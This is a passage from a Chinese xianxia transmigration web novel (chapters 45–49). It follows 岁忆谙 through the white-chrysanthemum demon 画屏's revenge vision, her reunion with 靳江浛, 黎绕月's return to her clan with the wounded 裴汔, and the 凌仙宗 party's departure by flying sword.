她双眼通红,情绪激动,咬牙切齿地说:“欧阳晓,你灭我全族,让我失去记忆,还有脸让我放下仇恨!”
欧阳晓垂下眼眸,似是愧疚,并未说话。
岁忆谙平复心情,说:“好啊,我可以放下仇恨,你现在就去死,死了我就放下了。”
欧阳晓摇头叹息,他转身离开。
岁忆谙望着欧阳晓的背影吼道:“欧阳晓,我一定会杀了你的!”
而地面上,一条爬山虎正迅速朝城主府方向爬去,爬山虎一直爬到欧阳浅的后院里。
“不好了,小浅儿,你爹把你娘带到城西的破宅院里关起来了!”
欧阳浅从小就能听见花花草草的声音,这是她与生俱来的本事,她没有跟任何人说过。
阿爹突然把阿娘带走,欧阳浅不放心,便拜
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托墙上的爬山虎跟着他们。
娇滴滴的声音响起,欧阳浅赶忙来到窗前,她推开窗,爬山虎就爬到了她面前。
欧阳浅不解地问:“怎么会这样,阿爹为何要把娘关起来?”
爬山虎将两人的对话有声有色地描述了一边。
欧阳浅有些害怕,阿爹竟然杀死了阿娘的家人,还囚禁阿娘。
怎么办?她该怎么办?
欧阳浅才五岁,一想到自己会失去阿娘,她便嚎啕大哭起来。
爬山虎急忙安慰,可越安慰,欧阳浅就哭得越大声,最后爬山虎只能带欧阳浅去城西。
欧阳浅来到城西,刚好看见在撞结界的岁忆谙。
她边哭边走到大门口,嘴里还阿娘阿娘地喊着。
准备尝试其他法子的岁忆谙就见一小孩儿走来,她急忙蹲下身。
“浅儿?”
“欧阳浅!”
欧阳浅听见岁忆谙唤她,便跑起来想要扑到岁忆谙怀中。
“等一下,别过来。”岁忆谙急忙制止。
可还是晚了一步,咚的一声。
欧阳浅直愣愣地撞上结界,小小的身板跌倒在地,额头直接肿了一个大包。
欧阳浅哭得更大声了。
看见小孩子吃瘪,岁忆谙总想笑。
岁忆谙压下弯起的嘴角,她耐心哄着。
欧阳浅终于不哭了,她趴在结界屏障上,问:“阿娘,阿爹为何要把您关起来?”
岁忆谙将所有的事情都说了一遍,欧阳浅未曾想到他爹会是这种人,卑鄙无耻。
“浅儿,你去白菊花妖域,去找一个叫流萤的人,她能救我。”
“白菊花妖域在哪儿?”欧阳浅还不忘问妖域的位置。
“我也不知晓在哪儿,反正妖域有一大片白菊花,和一个小镇。”
一想到小镇,岁忆谙鼻腔忽然酸涩,她叹息:“小镇里不一定有人。”
画屏的族人可能都已经死了。
“好。”欧阳浅点着脑袋,转身跑掉。
岁忆谙提醒道:“对了,不要把这件事情告诉欧阳晓!”
“好!”
岁忆谙用了很多法子都打不开结界,只能将希望寄托在一个小孩身上。
岁忆谙站累了,想转身回屋时,却发现周围的环境变了,她发现自己站在一个陌生又熟悉的地方。
岁忆谙有些疑惑,自己怎么到这儿来了?
刚刚她又在哪儿呢?
岁忆谙站在原地,仔细感应,这里有白菊花妖的气息。
这里是属于白菊花妖的妖域,光秃秃一片。
没有白色的菊花,没有温馨的小镇,只有干裂的,毫无生机的土地。
白菊花妖被流澜宗屠戮殆尽,岁忆谙怒从心起,她只有两个念头,一个是报仇,一个是找到画屏。
或者说……这是流萤的念头。
幻境之中,岁忆谙独自一人杀上了流澜宗,虽有两百年修为傍身,可流澜宗像是知晓会有妖族来犯,什么除妖法器都用上了。
这一战,岁忆谙失败了,面对身后修仙弟子的追杀,她再次逃到白菊花妖妖域。
“流萤就算是死,也会死在自己家里吧。”岁忆谙低语着。
岁忆谙无力地倒在地上,视线朦胧,正当她以为自己要死了的时候。
忽然间,一道黑色身影从天而降。
46. 剖妖丹
追过来的修仙弟子还没看清楚人,就被黑袍人杀死。
黑袍人走近岁忆谙,居高临下道。
“流萤,你可想活命?”
岁忆谙听出了黑袍人是个女子,她不假思索道:“想,我要活着,我要报仇。”
“我会让你堕魔,这样你就拥有了报仇的机会,往后也必须凭我差遣,你可愿意?”
魔?这世上还有魔?
岁忆谙开始思考,流萤是否愿意堕魔报仇?
还没等她思考完毕,一道不属于自己的声音响起。
“流萤……愿意堕魔。”
黑袍人似乎没有察觉到这些异常。
而岁忆谙了然。
流萤愿意堕魔报仇。
周身散发着黑气的岁忆谙再次杀上流澜宗,这次的她拥有魔力。
一日之内,她杀光了流澜宗的所有修仙弟子。
看着血流成河的流澜宗,岁忆谙只觉心中畅快无比。
岁忆谙离开流澜宗,上街路过花店时,她停下了脚步。
她进店买了许多白菊花的种子,然后带回妖域栽种。
翻土撒完种子,浇完水后,一个人畜无害的女子走到她面前。
女子上下打量了岁忆谙一眼,然后问:“你是流萤?”
岁忆谙心生警惕,可当她仔细看清女子的相貌时,整个人都愣住了。
女子的相貌太像她家少主了。
“我叫欧阳浅,我娘叫画屏。”
今早,欧阳晓带着城中士兵慌慌张张地离开府邸,欧阳浅从他书桌前的一盆玉兰得知他看了封信。
信上写着,流澜宗有难。
流澜宗不就是当年屠了白菊花妖满族的宗门吗?
欧阳浅听见这个消息后,想起了阿娘跟她说过的流萤。
这么多年,欧阳浅看着太阳东升西落,看着满地的白菊枯萎,看着小镇衰败化为废墟。
而她也终于找到了流萤。
岁忆谙惊呼:“你是少主的女儿!”
妖域五十里开外,莫名出现了一座游南城,游南城城主便是欧阳晓。
欧阳浅告诉她,画屏被欧阳晓囚禁了。
当晚,岁忆谙就跟着欧阳浅来到城西。
哒哒哒——
两人还没走进院子,一旁就传来脚步声,岁忆谙连忙拉着欧阳浅躲起来。
岁忆谙抬眼看去,是欧阳晓,还是那副贱样,令她作呕。
欧阳晓离开后,两人走进。
“少主。”岁忆谙来到门前,声音里带着些许哭腔。
画屏心中的希望早已被时间一点点磨灭,欧阳晓时不时来这里跟她说上几句话,她从未回应。
欧阳浅也会抽空来,还好院门是能被打开的,画屏也能看着欧阳浅长大成人。
听到了熟悉的女声,画屏来到门后,激动又怀疑:“流萤,是你吗?”
“是我,少主,我这就破开结界先救你出来。”
结界十分普通,岁忆谙不费吹灰之力就成功施法破开。
房门从里打开,一身白衣的画屏从中走出。
几人没有在原地过多叙旧,岁忆谙带着两人离开。
白菊花妖妖域————
画屏看着荒芜的土地,心中悲痛,眼中含泪,灭族那日的景象在她脑中重现。
她看向岁忆谙,道:“流萤,你将我的妖丹剖出来吧。”
“什么?!”岁忆谙震惊不已。
画屏遗憾地说:“妖域没了白菊,也没了妖,如今的我毫无修为,就算再修炼个百年也手刃不了仇人。”
欧阳浅抢先开口:“娘,我不是半妖吗?我可以修炼,我可以报仇。”
“我们这一辈的恩怨还轮不到你一个小孩插手。”画屏慈爱道。
岁忆谙还是按照画屏的意愿将妖丹剖了出来,她将妖丹融进地底。
月光之下,黄土地里长出了小小的绿芽,绿芽逐渐变高,长成的绿杆,枝叶长出,小小的花苞挂在枝头,露出了些许黄蕊。
妖丹化成了朵朵白菊。
而靠妖丹维持年轻样貌的画屏两鬓发白,眼尾也出现了皱纹。
“娘,你怎么变成了这副模样?!”欧阳浅急忙上前。
“没有妖丹维持身躯,就变成这样了。不过没关系,我可以待在妖域,妖域里的妖丹还等维持我的性命。”
画屏的面容虽老,但声音却还很年轻。
“流萤,你去找副躯体给我吧,我想亲手报仇。”画屏意味深长地看了眼岁忆谙。
岁忆谙被她的眼神看得心里发毛,她下意识应道:“是。”
在城中搜寻躯体时,黑袍人出现,她交给了岁忆谙一个任务,就是杀光城中百姓。
岁忆谙照做。
接下来的两个月里,欧阳晓发现画屏逃跑了,接着城中百姓接连死亡,尸体上的白菊让欧阳晓误以为凶手是画屏。
而欧阳浅以为欧阳晓会做出点行动来拯救城中百姓,可他无动于衷。
只因是画屏,欧阳晓并未向其他宗门求助,还有意无意压下这件事。
他就这么看着城中百姓接二连三地死去。
岁忆谙花了两个月寻遍游南城,自然知晓城中没有躯体适合画屏,而她也得知了黑袍人让她这么做的目的。
黑袍人要让城中百姓成魔。
就像安宁村那个法阵一样。
画屏一直待在妖域,妖域有她的妖丹滋养,她还能再活一段时间。
这日,画屏发现有一朵白菊飘出妖域,她并未跟上。
白菊引来一人,那人便是岁忆谙。
画屏一直都想要亲手杀死欧阳晓,以报灭族之仇。
妖丹进入了岁忆谙的体内,画屏借用她的躯体来到欧阳晓房中。
死去的族人有多少,那欧阳晓的尸体就被碎成了多少块。
幻境停留在这一刻,岁忆谙从幻境之中醒来。
白菊花妖族被屠,画屏被囚,流萤堕魔,岁忆谙清晰地感受到了那些痛和恨,最后只剩下无力。
一睁眼便置身在一片白茫茫中。
画屏出现在岁忆谙身前,样貌不似之前那般衰老,反而恢复到了幻境里的年轻。
画屏笑着问:“感觉如何?”
“画屏…………”泪水无声滑落脸颊,岁忆谙再度哽咽,她又不知晓自己该说什么了。
“我是。”画屏轻声应下。
岁忆谙想起来了,原剧情中她们的遭遇与幻境中的一模一样。
除了结局,原剧情中的结局是,黎绕月与白英空一同揪出杀害城中百姓的凶手。
所有人都死了,唯独欧阳晓没死,画屏根本离不开妖域,黎绕月和白英空杀了堕魔的流萤。
而欧阳浅最后因为杀不了欧阳
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晓,选择了自尽。
“对不起…………”
画屏听后只是笑了笑,她道:“没关系,大仇已报,我也该离开了。”
岁忆谙身子微微颤抖,画屏又道:“岁忆谙,你书写了我的一生,我控制了你杀人,我们也算打平了。”
“你要知晓,原本的我是报不了仇的。”画屏像是在解释,又像是在安慰。
“我还得谢谢你的出现,这样我才能报仇。”
书中世界里,每一个人的命运都由她来书写,而他们改变命运的方式只有觉醒。
唯独靳江浛是因为太恨,才摆脱了剧情束缚,其他角色只能等待岁忆谙的到来。
当岁忆谙出现的那一刻,画屏便知晓自己报不了仇,妖丹维持妖域,她逐渐衰老。
流萤提出为她重新找一副躯体,寻来的人都无用,而画屏一直在等岁忆谙。
“对于过去的遭遇,我无言以对,我从心底问过我自己。”
“倘若一切重来,我是否会将欧阳晓带入妖域,我的答案是不会。”
“倘若我没有这一切的记忆,我会。”
“你恨我吗?”岁忆谙只问了这一句。
画屏仔细想了想,她也不知晓自己是否恨她。
“说到底,我恨,可说到底,我不能恨。”画屏的话模棱两可。
恨是因为书写者是岁忆谙,不能恨是因为她是岁忆谙写下的,她也借岁忆谙的身躯成功杀了欧阳晓。
见岁忆谙哭得愧疚伤心,她宽慰道:“当然,我最恨的还是欧阳晓。”
说完,画屏朝岁忆谙调皮地眨了眨眼。
话说得也差不多了,漂浮在空中的岁忆谙睁开双眼,画屏的身影随着妖丹离开她的躯体。
两人以极慢的速度落下,最后站定在白菊花丛中。
“谙!”靳江浛冲到岁忆谙身边。
流萤与欧阳浅也跑到画屏身前。
流萤看着身影透明的画屏,她猛地将视线转上岁忆谙,飞身朝她攻去。
靳江浛一剑挥出,魔气朝流萤袭去,她翻身躲过,站定后怒斥:“把少主的妖丹还回来!”
岁忆谙回过神,妖丹在她体内?
看着即将消散的画屏,她急忙问:“怎么还?”
流萤还没开口,几道白色身影从天而降,纷纷围住岁忆谙几人,为首的正是徐长老。
徐长老对中间的几人都扫了眼,对一身红衣的靳江浛问:“江浛,你怎在此?英空呢?”
“救人,白英空在城主府。”靳江浛语气淡淡,他拉过岁忆谙走到一旁。
岁忆谙还沉浸在自己的情绪里,仍由靳江浛拉她。
靳江浛一直都是这副性子,徐长老也见怪不怪了,没办法,谁让靳江浛的修为是同辈中的佼佼者。
“这就是你救的人?”徐长老盯上了岁忆谙,看起来修为平平。
靳江浛懒得理他。
徐长老见靳江浛不回话,脸上略显尴尬,他清嗓咳了几声,对画屏说:“你就是那只堕了魔的妖?”
流萤问:“来者何人?”
徐长老挺直身板,拂袖背手,道:“凌仙宗。”
“原来是来找死的。”
流萤说罢,欲朝几人出手时,耳边传来讯息,身子一顿。
流萤侧头看了岁忆谙一眼,然后不情不愿地拉着画屏和欧阳浅消失在原地。
47. 被欺负了?
“怎么跑了?!”徐长老先是大惊,又迅速道,“你们去追,我去找英空。”
其余长老无奈,只能去追。
徐长老跟着靳江浛来到城主府,靳江浛让他随便走,自己则带着岁忆谙离开。
徐长老被城主府房前的尸体震惊到了。
“这么多百姓都遇难,那妖魔真是可恶。”徐长老大呼。
听见动静的华屿山从城主隔壁厢房走出。
“你们终于回来了。”
“怎么带个人回来?”
徐长老正要开口介绍自己,忽然瞥见华屿山身后的白英空,白英空拖着虚弱的身子倚靠在门口。
“英空!”徐长老也不顾其他的了,上前一步将华屿山挥开,他搀扶起白英空。
“你怎么又出来了?”华屿山无奈。
原本华屿山已经将白英空医好得七七八八了,结果白英空又掰剑传讯,灵力损耗过多,又吐血了。
拖到原本的客房又太远,华屿山只能将人拖到欧阳浅的隔壁医治。
“弟子见过徐长老。”白英空还不忘行礼。
徐长老满眼心疼,他来之前还特意带了许多灵丹妙药,拿出药想一股脑地给白英空喂下。
“等一下,你要给他喂什么?”华屿山看着乱七八糟的药及时制止。
“药啊。”
“这么多药,喂下去指定吐血,别担心,他死不了。”
看着华屿山信誓旦旦的样子,徐长老依旧不信,白英空也推脱这药,他只好将药收回去。
这药可珍贵了,能不吃还是不吃吧。
“徐长老,那妖可捉到了?白英空用力抓着徐长老的手臂,抓得徐长老表情有些狰狞。
徐长老忍痛道:“其他长老已经去抓了。”
“英空,你伤势过重,先跟我们回宗门养伤吧。”
“弟子无事,不必回宗门养伤,捉妖要紧。”像是要证明自己,白英空松开徐长老的手,独自站直。
徐长老不着痕迹地甩了甩手,说:“你这孩子,那么犟干什么?”
徐长老叹息:“英空啊,三日前,宗主遇害了。”
“什么?!”白英空听后,大脑一片空白。
“三日前,宗主死于屋中,他被人活生生地挖出了心脏。”说到此处,徐长老掩面欲泣。
徐长老与宗主关系一般,但面对他从小看着长大的白英空,眼眶也有些湿润。
一旁听着的华屿山只觉不妙,还未等他有所举动,白英空又一口血喷了出来。
“英空!英空!”
华屿山上前把脉,依旧是那句话。
“死不了。”
另一边,靳江浛牵着岁忆谙回到客房。
看着双眼通红,哭得身子一抽一抽的岁忆谙,靳江浛轻声询问:“看到什么了?怎么哭得这么伤心?”
“没事…………”岁忆谙摇头,鬓边的发丝随着摇晃的动作沾在满是泪水脸颊上。
靳江浛看得心烦意乱,伸手将她的碎发理到耳后,给她擦掉眼泪。
他微微弯腰,视线与岁忆谙齐平,声音又温柔了几分:“被欺负了?”
“没有。”岁忆谙移开视线,她并不想告诉靳江浛幻境中发生的事情,说了也没用。
“我去杀了她们。”靳江浛说完,转身欲走。
岁忆谙拉住他的袖子,一把将人拽了回来,无奈道:“你别发疯,别动不动就杀杀杀的。”
岁忆谙深呼吸几下,平复了心情后,她拉过靳江浛,让他看向自己心口,问:“你看得出我体内的妖丹吗?”
靳江浛凝神看着她的心口,耳根子突然红了。
“还在…………”
“帮我弄出来,我要还回去。”岁忆谙并未察觉到靳江浛的异样,她催促道。
“好。”靳江浛将手举起,放在岁忆谙心口处,掌心运转魔力,一朵白菊从她体内飘出。
白菊不受靳江浛控制,它飘出客房,两人跟了上去,一直跟到妖域。
白菊花瓣散开,每一片花瓣都蕴含着画屏的妖力,它落在妖域的每一个角落,滋养着这片土地。
花丛恢复生机,发黄的菊花瓣变得玉白,枝干挺立,叶子油绿。
太阳彻底落下,天色变暗,月亮高高挂起。
寂静的花丛中响起了吵闹蝉鸣声,为死气沉沉的妖域添上了生命力。
再回到城主府的路上,靳江浛还说了黎绕月要抓他们的事情,最后被白菊花妖打跑了。
岁忆谙听后连连叹息,好好的一个“家”就这么散了。
岁忆谙打算去看看白英空,一踏进城主院子,她就看见了遍地的死人,还有人在搬运尸体。
搬尸体的人见到靳江浛,便纷纷开口:“靳师兄好。”
靳江浛敷衍地点点头,问:“你们怎么在这里?”
其中一个弟子回道:“徐长老让弟子们找个地方将这些尸体葬下。”
“嗯。”
一旁的岁忆谙听见他们对靳江浛的称呼,诧异地问:“他们是凌仙宗的?你师弟?”
“对呀。”
看来靳江浛在凌仙宗过得还挺潇洒,一堆小弟。
这时,欧阳晓隔壁厢房传来吵闹声,还有哭泣声。
两人走进一瞧,四五个人正围在床榻边嚷嚷。
柳微晴坐在桌前大哭着,华屿山在一旁安慰她。
整间厢房都吵吵闹闹的。
岁忆谙先是来到柳微晴这边,还没问她哭什么,华屿山就急忙让位,让她坐下。
柳微晴哭得莫名其妙,华屿山也没法子了。
“爹……娘……”
岁忆谙一坐下就听见柳微晴在哭爹喊娘的。
柳微晴红着眼,她侧身面对岁忆谙,哭着问:“姐姐,你有看见我爹娘吗?我找不到他们了。”
“爹娘…………”岁忆谙沉默,她都一年没见着自己的爹娘了,哪能知晓柳微晴的爹娘在哪儿啊。
岁忆谙站起身,离开椅子,拉了靳江浛一把,道:“靳江浛你来。”
靳江浛被赶鸭子上架,他坐下后,柳微晴就扭过身子哭。
“爹娘,你们在哪儿!”
靳江浛同样沉默,他爹娘百年前就死了,尸骨都找不到,哪有空帮柳微晴找爹娘。
此时此刻的柳微晴就像是个跟爹娘走散的小女孩。
哭声越来越大,靳江浛的一边耳朵都要聋了,当着岁忆谙的面,他不好发火,只能不耐烦地说:“别哭了。”
柳微晴的哭泣声不停,那几个长老的嘴巴还在巴拉巴拉地叫。
靳江浛忍无可忍,他拔高音量。
“我说别哭了!”
房里瞬间安静下来,柳微晴被吓得一时忘了哭泣,就连围在榻前争吵
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的长老也闭上了嘴。
柳微晴通红的双眼在面前三人身上流转,然后嘴一撇,控制不住地又哭了起来。
“呜…………”
华屿山听得头都大了,他将靳江浛拉起来。
“我就不该让你们坐下,走走走走走。”华屿山嫌弃地将两人赶走,独自坐下安慰柳微晴。
一直吵闹的几位长老终于看见了靳江浛,他们纷纷围上前来。
“江浛,你终于回来了。”
靳江浛无奈地问:“你们在吵什么?”
几位长老相视一笑,笑得尴尬,徐长老开口:“没什么,江浛啊,那个净惜长老给英空的罗盘呢?”
刚才他们听白英空说了这个法器,都在埋怨净惜,有这么好的东西竟然不告诉他们几个,防他们跟防贼一样。
“你要?”靳江浛双臂环胸,防备他们的靠近。
“毕竟是寻找鬼石的法器,放在老夫这里更安全。”徐长老笑呵呵的。
靳江浛盯了他一会儿,盯得徐长老冷汗直流。
就在徐长老想着不要也行时,靳江浛拿出了罗盘,他迅速接过,笑道:“明日一早,我们便回宗门。”
徐长老说完就和其他长老研究罗盘,靳江浛发现身旁的岁忆谙不见了,一转身,就发现她在床榻前。
“怎么了?”
岁忆谙叹道:“白英空太惨了。”
床榻上的白英空面色惨白,整个人脆弱不堪。
靳江浛不爽道:“你管他做什么,天色已晚,你还没吃晚膳吧。”
岁忆谙的注意力被转移掉,她摸着肚子说:“是有些饿了,城中的人都跑掉了,没有铺子开门,能吃什么呢?”
“自然是我做。”
岁忆谙质疑道:“你会做吗?”
靳江浛没有听到自己想要的话,脸刷一下就垮了下来,他微眯眼眸,靠近岁忆谙。
“别忘了百年前是谁在伺候你。”
靳江浛落下一句话转身就走,扬起的发丝划过了岁忆谙的脸,虽然不疼,但她能感觉到靳江浛的不开心。
岁忆谙回到了自己厢房。
说到百年前,岁忆谙想起了小时候的靳江浛,那个时候的靳江浛粉雕玉琢,肉嘟嘟的,甚是可爱。
要是忽略掉他眼中戾气的话。
现在的话…………没长歪。
【零零零,你在吗?】
岁忆谙想起来零零零,好像很久都没听见它说话了。
【宿主大人,找我有什么事情吗?】不到三秒,零零零就出现了。
岁忆谙在脑中问:【现在怎么办,剧情一塌糊涂,黎绕月与白英空都分开了,我要跟谁走?】
零零零:【跟着白英空吧…………】
岁忆谙点点头,接着就听见零零零有些难为情的话。
【宿主大人,我要修复接下来的剧情,可能很久都不在了,之后的日子里,您要多加小心。】
零零零说得话有些深沉,有些认真。
岁忆谙回怼道:【说的好像你这几日都在似的,我被白菊花妖上身了你都不出来阻止。】
【不说了,零零零先走了,宿主大人保重!】
零零零断了联系,无论岁忆谙怎么唤它,它都不吱声儿。
岁忆谙面色凝重。
零零零有事情瞒着她,接下来的路怕是不好走了。
48. 第 48 章
思索之间,靳江浛端着一个木盘凭空出现在岁忆谙身边。
“来了,快吃吧。”靳江浛将木盘放在桌上,盘上放着熟悉的两碗面。
“我借用了城主府里的厨房,当然,面条不是我揉的,那本来就有。”靳江浛自己挪了椅子坐在岁忆谙对面。
面出现后,岁忆谙就没听见靳江浛在说什么了,她拿起筷子尝了一口。
“怎么样?”靳江浛有些紧张,双手握在一起摩梭着,视线紧盯着岁忆谙的面部表情。
虽然他小时侯给岁忆谙做过很多次饭,可这次不一样,他长大了。
“还…………”岁忆谙顿了顿,见靳江浛眼底的期待,忽然想到什么,改口道,“好吃。”
靳江浛一听,愉悦地拿起筷子。
岁忆谙埋头吃着,靳江浛时不时抬头,一副欲言又止的模样。
直到岁忆谙吃完,靳江浛才小心翼翼开口:“明日我要和长老们回凌仙宗,你能陪我吗?”
岁忆谙毫不犹豫道:“好啊。”
“对了,柳微晴怎么会变成那样?”
“我怎知晓?”靳江浛有些敷衍。
岁忆谙搁下筷子看他,他又道:“她本是骷髅头所化,什么不懂,我是真不知晓她怎会变成如今这般。”
靳江浛说得真切,岁忆谙接着月光细细打量起了他。
随要你发现他胸膛上的衣襟颜色深了一块,布料还烂了。
“你这怎么回事儿?”岁忆谙指了指他的衣服。
靳江浛捂上胸膛,装模作样地咳了几声,道:“你捅的。”
“怎么可能?”
岁忆谙第一反应就是不信,要是捅了,那主系统不得惩罚她,要真是她捅的就好了。
想到这儿,岁忆谙就感觉浑身隐隐作痛起来,她在心底暗骂一句,压下这个念头,看向靳江浛的眼神里多了些怨。
而靳江浛看向她的眼神很坚定,坚定到岁忆谙真以为是自己捅了他。
“真是我捅的?”岁忆谙反问。
靳江浛刚想说是时,画屏的话突然从他脑中冒了出来。
不要欺骗………不要欺骗………
“好吧,白菊花妖捅的,她操控了你的身体,不过说到底还是你捅的。”
“既然不是我捅的,那你就找她哭去。”
岁忆谙无语,紧接着将人轰出房间。
亮白的月光撒在大地上,一道急匆匆的身影出现,黎绕月顶着月光奔跑,她背上背的是奄奄一息的裴汔。
刚踏入妖洲地界,黎绕月就被一个年纪看着四五十的男人拦住,他身穿盔甲,面容严肃。
“来者何人,竟敢擅闯月蛇妖洲。”
黎绕月停下脚步,认出了来人,她道:“于叔,我是黎绕月。”
于叔听后,仔细端详黎绕月面容,随即惊喜道:“少主,您终于回来了。”
于叔不再阻拦,黎绕月拔腿狂奔,边跑边说:“于叔,快帮我召集族中所有大夫。”
“是!”
于叔脚步一拐,往别的方向跑去。
百年了,月蛇妖洲的环境并没有改变多少,黎绕月按照记忆中的路线,背着裴汔来到最近的客房。
刚把人放在榻上,好几个大夫就围了上来。
“你们给我好好医治他,若有半点差错,本少主唯你们是问。”
黎绕月没有刻意压制自己的威严,百年间,大夫换了许多,表明身份也好让他们尽心医治裴汔。
叮嘱完一些事情,黎绕月马不停蹄地来到书房,要是她爹习惯不变的话,这个时辰,他应该还在处理族中事务。
书房中,月蛇妖族的族长黎政察觉到一股陌生的气息,他从书简中抬眸,横目看向门口。
吱呀一声,门被推开,黎绕月走进。
百年未见,黎政一时还没认出长大成人的黎绕月,他只觉得女子的脸太过熟悉。
“爹!”
直到黎绕月喊出声来,黎政这才反应过来,他站起身绕过书桌,踉踉跄跄地来到黎绕月面前。
黎政目不转睛地盯着只矮自己半个头的女子,渐渐湿了眼眶。
在记忆里,那个还不到自己膝盖的小孩如今都长这么高了。
“月儿,你终于回来了。”黎政眼中满是怀念。
黎绕月也有想哭的冲动,但她还是压下这个冲动,说:“爹,女儿并未寻到鬼石,但女儿寻到了魔族,以及可以探寻鬼石方向的法器。”
黎政并不在乎她是否找到鬼石,人回来就好,这就导致他忽略掉了黎绕月的话。
“你刚刚说什么?”黎政问。
黎绕月:“…………………”
她将刚才的话复述一遍后,黎政要流出来的眼泪又收了回去,喜出望外道:“魔族还存在于世间,太好了。”
黎政又问:“那魔族是何人?还有那法器又在何处?”
“魔族是一男子,名靳江浛,凌仙宗弟子,那法器就在他的手上,只可惜女儿修为不抵他,当时还有白菊花妖在场,人和法器都没带回来。”
“那白菊花妖起码有两百年以上的修为,裴汔还被她打伤了,伤势过重,女儿只好先将裴汔带回。”
一听到有妖,黎政心脏猛地一跳,围着黎绕月转了一圈,问:“你没受伤吧?”
黎绕月摇头,面露愧疚。
“裴汔受伤,可有通知雪蛇族?”
“没有。”
黎政松了口气,道:“那没关系,只要人不死,裴汔就不会把他受伤的事告诉雪蛇族。”
“受伤是在所难免的,你在外奔波百年,肯定累了,魔族和鬼石的事先放在一边,好好休息吧。”黎政安慰道。
黎绕月离开书房后,并没有回到自己的院落,而是来到客房看裴汔。
黎绕月从大夫口中得知,裴汔伤在五脏六腑,体内还有白菊花妖残留的妖力。
于叔正施法将那些妖力清除,为了避免打扰到他,黎绕月守在门外。
黎绕月在门外来回踱步,心绪不宁,脑中开始胡思乱想,其实她总觉得自己对不起裴汔。
这百年来,裴汔对她百依百顺,而她一心只有鬼石,这就导致她忽视了裴汔。
黎绕月等得焦灼,从晚等到早。
次日,天蒙蒙亮的时候,门开了,于叔从中走出。
听到裴汔已无大碍的话后,黎绕月悬着的心终于落下。
大夫都去炼丹药,房中并无其他人,黎绕月蹑手蹑脚地靠近床榻。
床上的裴汔闭着眼,像是睡着了,黎绕月伸手替他掩好被子。
兴许是动静有些大,裴汔醒了,他微微睁开双眼,还未看清楚眼前的人就问
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:“绕月呢?”
“我在这里。”
听到熟悉的话,裴汔原本要坐起的身子又躺了回去,他担忧地问:“绕月,你没事吧?”
裴汔的声音很虚弱,黎绕月的眼泪控制不住落下,她哽咽道:“是我没有保护好你。”
裴汔见黎绕月哭得伤心,他先是心疼,然后是欢喜。
黎绕月是在乎他的。
裴汔缓缓开口:“什么你没有保护好我,是我没保护好你才对。”
边说边伸出手,轻轻抹掉了黎绕月脸颊上的泪珠。
黎绕月疑惑:“你哪儿没有保护好我?”
“我让你哭了。”
黎绕月愣住,接着笑了。
两人又聊了些话,黎绕月让裴汔好好养伤,然后离开客房。
此时天光大亮,经过一晚上的奋斗,游南城中的尸体都被凌仙宗的弟子安葬好了。
这一觉,岁忆谙睡得很不安稳,她总感觉今日会发生不好的事情,也许是她太累了吧。
“谙,你醒了没有!”
门外传来靳江浛的声音,岁忆谙让他进来。
靳江浛推开门,就看见岁忆谙站在桌前收拾东西。
岁忆谙穿着一身橘色长裙,腰间的绑带格外引人注目,是宝蓝色的。
她抬头,问:“你站在那里干什么?”
“没什么。”靳江浛摇头,然后转身离开。
岁忆谙被他的举动搞得一愣。
“莫名其妙。”
当岁忆谙收拾好布袋子,来到城主府外,街道上站着许多弟子,那几位长老也在其中。
而白英空依旧昏迷着,他趴在一位弟子的背上。
岁忆谙不认识他们,她就站在一旁静静等待。
“我来了。”
正发着呆,身侧就传来靳江浛的声音。
岁忆谙侧头看去,靳江浛穿着蓝袍,她有些诧异,她记得刚刚靳江浛穿的是黑衣,怎么还换了一身蓝的?
“你怎么换了身衣服?”
“喜欢啊,你管我。”
岁忆谙懒得理他,视线一瞥,瞥到了从远处走来的一男一女,她朝两人招手。
“柳微晴,华屿山!”
远处的柳微晴见有人喊自己,便小跑过去,看起来十分欢快。
岁忆谙问:“微晴,你要和我们一起去凌仙宗玩玩吗?”
柳微晴指了指她身后的华屿山,道:“我要和他一起,去找我爹娘。”
岁忆谙察觉到了柳微晴的不同,如今的她像个不谙世事的单纯小孩儿。
华屿山也走到了几人的面前。
“我打算带柳微晴回医毒谷,看看她到底得了什么病,不过这还是得看靳江浛的意思。”
都做好打算了,还问他做什么?靳江浛无语道:“随便你们。”
“好吧,看来我们得分道扬镳了。”岁忆谙的语气里透露着些许遗憾。
华屿山笑了笑:“等有空,我和柳微晴会去找你们玩儿的。”
叙了会儿旧,华屿山带着柳微晴离开,望着两人的背影,岁忆谙叹气。
靳江浛听到后,不爽地问:“你叹什么气,他们走了你不开心?”
“也不是,我们聚在一起还不到一个月,况且这几日发生了太多的事情,我有点担心接下来的日子。”
49. 握手
岁忆谙脑中一直想着零零零的话,也不知晓接下来的剧情能不能修补好。
剧情全崩,接下来的发展不在岁忆谙的可控范围之内,这才是她最慌的。
“走一步看一步,没必要过多忧思。”靳江浛开解道。
靳江浛从不忧思未来,都是虚无缥缈的东西。
说不定哪天他就死了,那考虑得一切岂不是毫无用处。
岁忆谙赞同:“说的也对。”
又等了一会儿,凌仙宗的弟子们终于有了动静,他们纷纷拔剑出鞘,一个个都踩着剑身飞上天。
靳江浛凑近岁忆谙,说:“我们要御剑飞行,在这里,你只能与我共乘一剑了。”
岁忆谙当即就不乐意了。
“我…………”
靳江浛打断她接下来想说的话。
“你要用穿梭符也可以,凌仙宗好久都没有出过会画穿梭符的弟子了,你不嫌烦就好。”
岁忆谙一想着他们会围着自己的模样,浑身激灵,她将伸进布袋子里的手抽出,道:“那还是御剑吧。”
靳江浛心满意足,他终于能和岁忆谙共乘一剑了。
两人上剑,一前一后站着,为了照顾岁忆谙,靳江浛特意飞得很缓慢。
其他人都升上天了,靳江浛还在半空。
岁忆谙忍不住一掌拍向靳江浛肩膀,嘴里吐槽道:“你飞得好慢,你行不行啊?”
“我…………”靳江浛想反驳,但他还是住了嘴,默默加快速度。
风肆意吹过,衣袂翩飞。
山川美景,翠绿碧蓝相交,层峦叠嶂,云雾缭绕。
周身飘着白云,岁忆谙忍不住伸手,没有软绵绵的触感,更像是湿漉漉的水汽,这种感觉真是奇妙。
忽然,岁岁晃了一下,靳江浛感到不对,回头望去。
站在他后面的岁忆谙不见了!
“谙!”靳江浛吓得大喊出声。
“干嘛。”
不耐烦的声音从下方传来,靳江浛低头一看,岁忆谙正侧坐在剑身上,双腿晃荡。
靳江浛松了口气:“吓我一跳,你怎么坐下了?”
岁忆谙驮着背,懒散说:“站着好累,要是可以,我还想躺着。”
靳江浛无言以对,但他还是记下了岁忆谙的话。
十几把剑在空中飕飕飞着,从地面抬头往上看,就像是在夜晚里看到的璀璨流星。
“英空!”
前方传来惊呼声,岁忆谙想要站起身来,可剑身就那么点大,身子不稳,他想要借助东西站起来。
